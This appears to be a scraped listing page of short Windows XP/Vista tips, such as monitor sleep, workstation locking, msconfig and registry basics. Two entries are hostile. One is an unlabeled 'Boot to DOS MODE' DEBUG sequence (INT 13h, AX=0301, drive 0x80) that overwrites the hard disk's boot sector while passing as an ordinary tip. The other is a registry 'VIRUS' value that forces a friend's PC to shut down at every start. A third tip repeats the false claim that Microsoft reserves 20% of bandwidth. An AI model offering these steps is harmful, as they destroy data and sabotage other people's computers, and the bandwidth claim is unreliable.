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You can save electricity and money and help protect the environment by activating your monitor's "sleep" feature in Windows XP. Activating sleep settings on just one computer prevents approximately 300 pounds of Carbon di-oxide emissions each year. Putting your monitor to "sleep" means allowing...
Lock XP Workstation You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll, LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it...
This tweak improves ur b/w in windows.... Windows uses 20% of your bandwidth Here's how to Get it back A nice little tweak for XP. Microsoft reserve 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..) Here's how to get it back:...
What is the Registry? The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000/XP. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user...
Windows Vista works in the background to automatically index all the files in the Start Menu, user profile folders and files setup for offline access by default. If you have many files in these locations and the files change often, the indexing service may slow down your system's performance....
The Parental Controls in Windows Vista lets you easily control what your child can or cannot do, and monitor his/her activities using the built-in reports. Step 1: Create An User Account For Your Child Parental controls work by placing restrictions on a user account. Creating an...
The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers: C:\>set /a 2+2 4 C:\>set /a 2*(9/2) 8 C:\>set /a (2*9)/2 9 C:\>set /a "31>>2" 7
For many years, UNIX and Linux administrators have enjoyed the power of grep. In UNIX-land, grep means "search globally for lines matching the expression and print the lines." The Windows Server 2003 Resource Kit includes a utility called qgrep that brings this functionality to Windows Server 2003....
Windows Vista SuperFetch enables programs and files to load much faster than they would on Windows XP–based PCs. When you're not actively using your computer, background tasks—including automatic backup programs and antivirus scans—run when they will least disturb you. These background tasks can...
If you bought your computer with Windows Vista pre-installed, you most likely don't have a regular Windows Vista repair disc. What you do have is some crappy disc from the manufacturer that totally wipes your computer back to factory settings. What if you just want to run Startup repair off the...
Here i am going to show you some easy tricks you can do. What to do when "Add/Remove" wont take away the program? There is always a second option you may do. Press "START" and "RUN" type "regedit" When you have up your registry window go to this path:...
Why does my computer crash? 1. Bad Hardware 2. Bad Ram 3. Viruses (Unwanted Programs) 4. Denial Of Service Attacks. 5. Overheated. 6. Registry is Corrupt. 1. Bad hardware will say that its hardware conflict it can be Hardware so aren't properly installed on the computer.
Here i am going to show you basic Information about msconfig. Press "START" and "RUN" type "msconfig". Before you editing something you aren't sure about make sure you make a system restore point so if you doing something wrong you can go back to the Restore point. -General:- Here you...
You may be interested to know wat ur system does while booting windows(behind that boot screen). (only in Xp and above) Step 1: start->run and type "msconfig" Step 2: go to boot.ini tab Step 3: Check the /SOS option Step 4: Reboot Now u can see wat the operating system is doing in the...
Introduction NOTE: If you re connected to the internet then you must read this. Hackers finds a new way everyday to break into computers and virus making. Many binded viruses are uploaded in the net as if it is a original file from a trusted source. So how to protect yourself from these....
Boot to DOS MODE 0.Type Debug and press enter 1.At the "-" prompt type A and then enter 2.Type MOV AX, 0301 then enter 3.Type MOV BX, 0020 then enter 4.Type MOV CX, 0001 then enter 5.Type MOV DX, 0080 then enter 6.Type INT13 then enter 7.Press enter again 8.Type G and then Enter
Refer to Making XP better (Part 1) as well. 1. Annoying scroll in Start menu If u install so many programs in ur computer, It'll be updated to ur start menu. If there are more number of programs it'll show in scroll mode(sometimes). ...
Disclaimer : This is for education purpose only if something like this happens to you. How to do it Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you. "VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this...